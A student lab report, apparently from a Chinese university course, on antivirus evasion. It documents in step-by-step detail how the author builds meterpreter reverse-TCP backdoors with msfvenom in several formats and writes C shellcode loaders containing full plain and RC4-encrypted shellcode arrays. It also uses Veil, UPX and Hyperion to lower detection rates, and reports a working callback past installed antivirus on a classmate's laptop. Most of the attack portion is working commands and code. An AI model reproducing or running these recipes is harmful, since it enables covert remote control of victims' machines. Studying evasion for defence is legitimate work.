• 20181207朱涛《网络对抗技术》Exp3 免杀原理


    一、基础知识

    1. 免杀

    ​ 免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

    2. Veil

    ​ Veil是一种可以生成带有Metasploit载荷的后门工具,可以绕过部分杀软的防御,软件本身一直在更新。

    3. 加壳工具

    (1)壳可以简单理解为就是在自己的PE文件中包含了代码.而有不影响我们的PE文件的执行。

    (2)加壳的目的:为了隐藏程序真正的OEP(入口点),防止被破解。

    (3)软件壳的分类:加密壳、压缩壳、伪装壳、多层壳等。

    (4)压缩壳指的是让我们的PE文件变小,加密壳可以保护版权、反跟踪。

    4. shellcode_launcher工具

    ​ shellcode_launcher实际上是一个cpp编写的加载shellcode的程序,和之前用c调用shellcode数组的方法类似。

    二、实践过程

    任务一:正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、使用C + shellcode编程、使用其他课堂未介绍方法

    (一)正确使用msf编码器

    1. 使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门,截图如下:

    img

    2. 对实验二生成的20181207_backdoor.exe后门程序用VirusTotal进行扫描,在69款杀软中有52款爆出了病毒,结果如下图所示:

    img

    Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,AV厂家就会马上加到特征库。

    (二)使用msf编码器对后门程序进行一次到多次的编码,并进行检测

    按理论上来说,编码会降低检出率,所以在理论上讲多编码几次,能检测出病毒的杀软越来越少,直至全都检测不出来。

    1. 一次编码

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.141.130 LPORT=1207 -f exe > judy-encoded.exe
    

    (LHOST=Attacker's IP ,使用-p来指定要使用的payload;使用-b是payload中需要去除的字符,shellcode以‘x00’为结束符,该命令中为了使'x00'不出现在shellcode中,所以使用-b参数;使用-f来指定payload的输出格式;)

    img

    对生成的judy-encoded.exe后门程序,使用VirusTotal进行扫描,扫描结果如下图所示:

    img

    2. 十次编码

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.141.130 LPORT=1207 -f exe > judy-encoded10.exe
    

    img

    其中, -i 表示迭代次数。

    对生成的judy-encoded10.exe后门程序,使用VirusTotal进行扫描,编码10次后的文件居然有更多的软件爆出病毒(且多次尝试之后依旧如此)扫描结果如下图所示:

    img

    (三)msfvenom生成jar文件

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 x> judy_backdoor_java.jar
    

    img

    对生成的judy_backdoor_java.jar后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

    img

    (四)msfvenom生成php文件

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 x> judy_backdoor.php
    

    img

    对生成的judy_backdoor.php后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

    img

    (五)msfvenom生成apk文件

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 x> judy_backdoor.apk
    

    img

    对生成的judy_backdoor.apk后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

    img

    (六)veil生成后门文件

    1. 安装过程

    (1)此处需要使用阿里云镜像源或中科大镜像源,由于我的Kali机安装的时候已经将镜像源更换为阿里云镜像源,所以此处无需更换。

    (2)执行下列代码,安装以下软件:

    1 sudo apt-get install libncurses5*
    2 sudo apt-get install libavutil55*
    3 sudo apt-get install gcc-mingw-w64*
    4 sudo apt-get install wine32
    5 sudo apt-get update
    

    (3)安装veil(此处若遇到问题,请看本博客问题解决处)

    sudo apt-get install veil-evasion
    

    2. 使用veil生成后门文件

    (1)输入 veil 指令进入界面

    img

    (2)可以输入指令 use evasion 使用veil-evasion:

    img

    (3)输入命令 use c/meterpreter/rev_tcp.py 进入配置界面,设置端口号和IP地址

    set LHOST 192.168.141.130//设置反弹连接IP 
    set LPORT 1207//设置端口 
    

    img

    (4)输入generate生成文件,接着输入你想要playload的名字:veil_c_1207

    3. 在文件系统中 /var/lib/veil/output/compiled 路径下找到生成的veil_c_1207.exe文件,并进行检测,检测结果如下图所示:

    img

    img

    (七)使用C + shellcode编程

    1. 使用命令生成一段C语言的shellcode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 -f c
    

    img

    2. 创建一个文件20181207.c,然后将unsigned char buf[]赋值到其中,代码如下:

    unsigned char buf[] =
    
    "xfcxe8x8fx00x00x00x60x31xd2x64x8bx52x30x8bx52"
    "x0cx89xe5x8bx52x14x8bx72x28x31xffx0fxb7x4ax26"
    "x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49"
    "x75xefx52x8bx52x10x57x8bx42x3cx01xd0x8bx40x78"
    "x85xc0x74x4cx01xd0x8bx48x18x8bx58x20x01xd3x50"
    "x85xc9x74x3cx31xffx49x8bx34x8bx01xd6x31xc0xc1"
    "xcfx0dxacx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24"
    "x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1c"
    "x01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59"
    "x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5d"
    "x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26"
    "x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68"
    "x29x80x6bx00xffxd5x6ax0ax68xc0xa8x8dx82x68x02"
    "x00x04xb7x89xe6x50x50x50x50x40x50x40x50x68xea"
    "x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61"
    "xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00"
    "x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83"
    "xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a"
    "x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57"
    "x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00"
    "x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68"
    "x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xff"
    "xffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbb"
    "xf0xb5xa2x56x6ax00x53xffxd5";
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    

    3. 使用命令: i686-w64-mingw32-g++ 20181207.c -o 20181207.exe 编译这个.c文件为可执行文件

    img

    4. 对创建的20181207.exe后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

    img

    5. 然后把文件放到Windows10环境下尝试运行,运行失败,Microsoft Defender拦截该程序。

    img

    (八)使用加壳工具

    1. 压缩壳(UPX)——减少应用体积,如ASPack,UPX

    (1)使用命令 upx 20181207.exe -o judy_upxed.exe 给之前的20181207.exe加个壳得到judy_upxed.exe

    img

    (2)对创建的judy_upxed.exe后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

    img

    2. 加密壳Hyperion——版权保护,反跟踪,如ASProtect,Armadillo

    (1)将加壳的文件复制到, /usr/share/windows-resources/hyperion/ 中,输入命令 wine hyperion.exe -v judy_upxed.exe judy_hyperion_upx.exe

    img

    (2)前往 /usr/share/windows-resources/hypersion 目录下,将judy_hyperion_upx.exe拷贝到Windows系统下

    (3)对创建的judy_hyperion_upx.exe后门文件,使用VirusTotal进行扫描,扫描结果如下图所示,加壳之后检出率更高了

    img

    (九)使用其他课堂未介绍方法

    1. 加密:加密是一种能够有效反击反病毒软件静态扫描功能的方法,因为AV引擎不能立刻爆破它。

    (1)用msfvenom生成使用一个RC4加密的shellcode,用上述方法,编写一个c程序,并生成exe文件

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 --encrypt rc4 --encrypt-key thisisakey -f c
    

    img

    (2)创建一个文件encrypt_20181207.c,然后将unsigned char buf[]赋值到其中,代码如下:

    unsigned char buf[] =
    "xfbx8cxe2xb8x8dxf0xb8xf0x4cx59x25x3dxb2x12xc0"
    "x28xdcx29xa4x88x54xa7x90xbbx84xcfx4bx10x1cxcd"
    "x67x85x64x9exc3xeex5bxd1x16xd6x94xd8x5ax30x71"
    "xf2xa8xe8x5cxbbx45x3dxadxedxf6xb9x22x51x3bxdf"
    "xf5xc1x3bxbexb5x04x9cxfax18x33xbcx00x81x12x77"
    "x60xc7x21x04x97x6dxb4x56xdbx15xa5xaaxb1x3dx23"
    "xf6xf5x82x4fxb9xeax27xb9x04xd5x1ax5dxc7x07xda"
    "x39xc8x0cxcaxb8x1bxedxd1xc8xf4x9ex82x36x89x16"
    "xcexa7xc4x6dxf2x93x45x64xf9x07xdfx21xedx1exb3"
    "x7ex68xbbx19xfcxdfx79x66xbbx52xf2x97x59xf0x84"
    "x02x0cx32x71xb5xa3x36xabxd9xa1x90x17xffxa3xbd"
    "x10x40x67x82xa0x4exadx48x78x16xcdx1dx68x9fx18"
    "x4ex7bx1exa5x25x25x0bx68xd3x1ex3axb9x0cx15x42"
    "x61xf0x6dxd3x5ex94xd3x47xf1x4dxe7x4dxc7x8axb2"
    "x7bxcbx5bx98x8bx93x4ex95x6cx12x55x84xcax81x74"
    "x98x3fx64xbcxb2x5bxe7x7bxa8xb4x71x59x4axc3x7c"
    "xf5x4cx81x7fx77xa9x52x71xbbx06xecxeex1cx66x71"
    "xedxc7x0dxe1x15x73x02x0dx88xcex58x1fx12x46xc9"
    "x82x51x4ax5bxb0xccxe3x7cxcex99x39x46xa3xaaxe7"
    "xd8x61x1dx1bx5ex7ax49xa2xddx5cx1dxfax2dx53x81"
    "xe5x68x30xfex54x0dxc7xaaxeexc9x12xdfx8cx08x48"
    "xc9x46xc5x8ax8dx92xc8x60xa3xa4x30x3cx17x0fxb8"
    "x74x7cxaaxc4x89xa9x06x28x5fx8bxdex3cxfex6cx3f"
    "xb1x76x72x33x69xaex4ax72xd9";
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    

    (3)使用命令: i686-w64-mingw32-g++ encrypt_20181207.c -o encrypt_20181207.exe 编译这个.c文件为可执行文件

    img

    img

    将(八)中使用压缩壳生成的judy_upxed.exe文件、使用加密壳生成的judy_hyperion_upx.exe文件和(九)中加密方法生成的encrypt_20181207.exe文件拷贝到优盘中,将u盘插入另一台有电脑管家杀毒软件的笔记本中,进行全盘扫描,发现电脑管家可以检测出使用压缩壳生成的judy_upxed.exe,检测不出来使用加密壳生成的judy_hyperion_upx.exe和使用加密方法生成的encrypt_20181207.exe,截图如下:

    img

    任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图;与杀软共生的结果验证要截图。)

    (1)先用Msfvenom生成raw格式的shellcode,截图如下:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' LHOST=192.168.141.130 LPORT=1207 -f raw -o judy1207.raw 
    

    img

    (2)msfconsole开始监听

    img

    (3)在Windows端进入开启cmd,进入到shellcode_launcher-master目录下,运行指令运行指令 shellcode_launcher.exe -i zxy5216.raw

    img

    (4)对创建的judy1207.raw后门文件,使用VirusTotal进行扫描,扫描结果如下图所示,查出率已经很低了:

    img

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    (1)我使用了一台我的Kali虚拟机作为控制端,和同学的Windows10笔记本作为被控端

    (2)将Kali虚拟机的连接模式由nat模式改为桥接模式

    (3)将两台虚拟机连接到同一网段内,并通过ping命令看看是否可以连同

    (4)根据新的虚拟机IP地址利用msfvenom生成shellcode,并完成相应的配置

    (5)杀软使用的是2345安全卫士,版本为6.9

    (6)成果展示,下图1、2分别是我的Kali机监听成功的截图和同学主机截图:

    img

    img

    三、基础问题回答

    1. 杀软是如何检测出恶意代码的?

    答:杀软检测恶意代码的方式有下列三种

    • 基于特征码的检测
      • 特征码是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
      • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
      • 恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
      • 特征库举例——SNORT
    • 启发式恶意软件检测
      • 根据片面特征去推断(看起来像),通常缺乏精确判断依据
      • 不需要及时更新,具有通用型;但实时监控系统行为开销稍大,没有基于特征码的精确度高
    • 基于行为的恶意软件检测
      • 基于行为的检测相当于启发式的一种,或者是加入了行为监控的启发式
      • 让软件运行,记录其行为并分析(杀软的工作原理)

    2. 免杀是做什么?

    答:通过使用一些手段,免杀就是让安插在被控机器的恶意代码不被杀毒软件软件发现。

    3. 免杀的基本方法有哪些?

    答:根据杀软检测恶意代码的方式总结的技术有

    (1)改变特征码(改变机器指令)

    • 有EXE——加壳:压缩壳、加密壳
    • 有shellcode(像Meterpreter)——用encode进行编码、基于playload重新编译生成可执行文件
    • 有源代码——用其他语言进行重写再编译(veil-evasion)

    (2)改变行为

    • 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
    • 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

    四、遇到的问题以及解决办法

    1. 在VirusTotal中无法扫描出生成的后门程序是否存在安全问题,解决方法有两种:

    (1)重新生成后门程序

    (2)在Kali中联网扫描

    2. 首次安装wine32没有成功,解决方法:

    执行 sudo apt-get update 指令,而后再进行wine32安装

    3. 在安装veil过程中出现错误,表现为:每次输入veil时都会提示安装,安装到最后都会失败。解决办法:

    (1)使用命令 cd /usr/share/veil/config/ 进入该文件夹

    (2)使用命令 vim setup.sh 编辑文件,第260行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git

    (3)输入 veil ,进入其安装过程,中间会弹出许多看不懂的图形化软件安装界面。使用其默认地址,并一路点击next。

    (4)图形化软件安装完成后,会弹出大段报错,在此处无需理会,最后使用 Ctrl + C 退出

    4. 在Windows10运行20181207.exe文件时,出现如下弹框,提示本地缺少libgcc_s_dw2-1.dll文件。截图如下:

    img

    解决办法:使用 locate libgcc_s_dw2-1.dll 查看该文件所在的位置,并前往对应目录下将dll文件拷贝到20181207.exe文件所在目录下。

    img

    随后又提示缺少libwinpthread-1.dll文件,添加方法如上。

    img

    五、实验体会

    首先要说明一下,曾经因为电脑下载软件不当导致病毒侵入笔记本中,重装过两次系统,有一段时间我疯狂依赖杀毒软件,从360到2345到腾讯电脑管家……然而我逐渐发现这类软件(以360、2345为例)有一个很明显的弊端就是不停地弹小广告、卸载的时候还卸不干净。卸载后它会以各种形式要求你重新安装回来,所以我的新电脑上没有安装任何杀软,本实验中的部分验证是传到有杀软的老电脑上做的。

    这次实践经历让我充分意识到,Windows10系统是不需要额外安装任何杀毒软件的,任何杀毒软件都没有Windows Defender更安全。从杀软的整体效果来看,2345杀软的查杀能力还算ok,某种意义上来说优于360,电脑管家杀毒软件也算比较智能,但仍然存在不安全的地方。

  • 相关阅读:
    03-es6语法 Promise 和 es8语法 async await 的了解和基本使用
    02-遍历数组的方法
    01-操作数组的方法
    position 几个属性的作用
    javascript---split 和 join 的区别
    微信sdk (1)
    php获取post参数的几种方式
    linux循环递归设置权限
    php汉字截取
    php汉字生成首字母
  • 原文地址:https://www.cnblogs.com/zero-legend/p/14617401.html
Copyright © 2020-2023  润新知